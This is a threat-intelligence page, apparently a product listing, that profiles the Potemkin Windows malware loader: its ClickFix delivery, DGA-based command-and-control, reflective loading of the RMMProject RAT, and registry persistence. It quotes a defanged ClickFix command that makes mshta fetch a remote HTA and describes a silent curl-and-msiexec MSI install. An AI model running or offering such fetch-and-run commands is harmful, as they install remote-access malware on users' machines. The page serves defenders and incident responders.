Loading malware…
Potemkin is a custom 64-bit Windows malware loader used in ClickFix-driven intrusions to deploy follow-on remote access tooling, notably RMMProject, and in some cases as part of broader multi-stage compromises that later included EtherRAT and hands-on-keyboard activity. It has been observed delivered through social-engineering chains in which a user is tricked into executing a malicious command from the Windows Run dialog or Windows Terminal, leading to retrieval of an HTA or MSI stage that installs the loader and establishes persistence.
Potemkin uses a deterministic domain generation algorithm to discover command-and-control infrastructure and employs a custom cipher to protect elements of its communications and DGA-related data. It registers infected systems, stores a victim identifier locally, polls its controller for tasks, and retrieves follow-on modules over HTTP-based C2. A core feature is reflective in-memory loading of secondary payloads, allowing it to deploy RMMProject without writing the final RAT to disk in conventional form. Reported loader behavior includes persistence via a user Run key and debug or state artifacts associated with victim tracking.
Potemkin has been linked to delivery of RMMProject, a fully featured remote access tool with browser credential and cookie theft, keylogging, screenshot capture, hidden-desktop remote control, process execution, process injection, runtime module loading, and exfiltration capabilities. In observed intrusions, operators used the foothold established by Potemkin and its payloads to expand across Windows environments, conduct reconnaissance, establish additional persistence, evade or disable Microsoft Defender, create tunnels for remote access, and move laterally using administrative protocols and remote execution frameworks. Activity associated with Potemkin has affected enterprise Windows networks and has been notable for turning a single ClickFix execution on an unmonitored endpoint into a wider network compromise.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
17 distinct techniques documented for this family, organized by ATT&CK tactic.
cmd /min /c "pcalua.exe -a mshta.exe -c hxxps://cl.distritovagas.com/hte[.]hta"
The HTA payload hides its window, uses WScript.Shell to run curl silently downloading an MSI
ClickFix is a social engineering trick that presents users with a fake troubleshooting instruction on a compromised website. The prompt tells the user to press Win+R, paste a command into the Windows Run dialog, and hit Enter.
The attack started with a ClickFix command that abused pcalua.exe to proxy mshta.exe, fetching a remote HTA file from cl.distritovagas[.]com. That HTA payload silently downloaded the MSI installer, inst24.msi, from an attacker-controlled server and executed it without any prompt.
They cycled through AMSI patches, registry policy writes... File Path C:\ProgramData\p\ek_full.ps1 Registry-based Defender disable script
The MSI deployed Potemkin into the user’s AppData folder and registered a startup registry key so it would survive every reboot. ... Registry Key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunSearch Potemkin loader persistence key ... HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EdgeUpdate EtherRAT persistence key
The MSI deployed Potemkin into the user’s AppData folder and registered a startup registry key so it would survive every reboot. ... Registry Key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunSearch Potemkin loader persistence key ... HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EdgeUpdate EtherRAT persistence key
MseKOytIWeVrP85.xml is the encrypted payload... Potemkin protects two categories of strings with a custom byte cipher
The infection began when a user visited a compromised website and ran a command that used pcalua.exe, a legitimate Windows utility, to silently fetch and run a remote script.
The attack started with a ClickFix command that abused pcalua.exe to proxy mshta.exe, fetching a remote HTA file from cl.distritovagas[.]com.
The HTA payload hides its window, uses WScript.Shell to run curl silently downloading an MSI from an attacker-controlled domain... then executes it via msiexec /qn for silent installation.
For each candidate domain, Potemkin sends an HTTP GET request to a fixed URL path... EtherRAT enters an endless polling loop. Each request goes to a freshly randomized URL
That script downloaded and installed an MSI package in the background with no visible indication to the user. Separately, the attacker deployed EtherRAT... Five hours later, the attacker dropped EtherRAT and set up a Cloudflare tunnel using a renamed copy of cloudflared.
The custom "Potemkin" loader used a deterministic DGA and custom cipher to deploy RMMProject. RMMProject RAT bypassed Chrome's App-Bound Encryption and embedded a LuaJIT scripting engine. The threat actors deployed EtherRAT...
18 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
5 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Referenced as a RAT case in related cleanup context; no direct role in the Artlist campaign itself is described here.
A custom loader that uses a deterministic DGA and a custom cipher to deploy RMMProject following initial access via ClickFix.
A custom loader dropped by an MSI installer. It establishes persistence via a startup registry key, uses a Domain Generation Algorithm to generate 10,000 candidate domains, connects to C2, and reflectively loads RMMProject in memory.
A custom x64 loader delivered via MSI and HTA that uses a domain generation algorithm to locate C2, writes a UUID to disk for victim identification, polls for tasks, retrieves DLLs, and reflectively loads follow-on modules in memory while protecting communications with a custom byte cipher.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.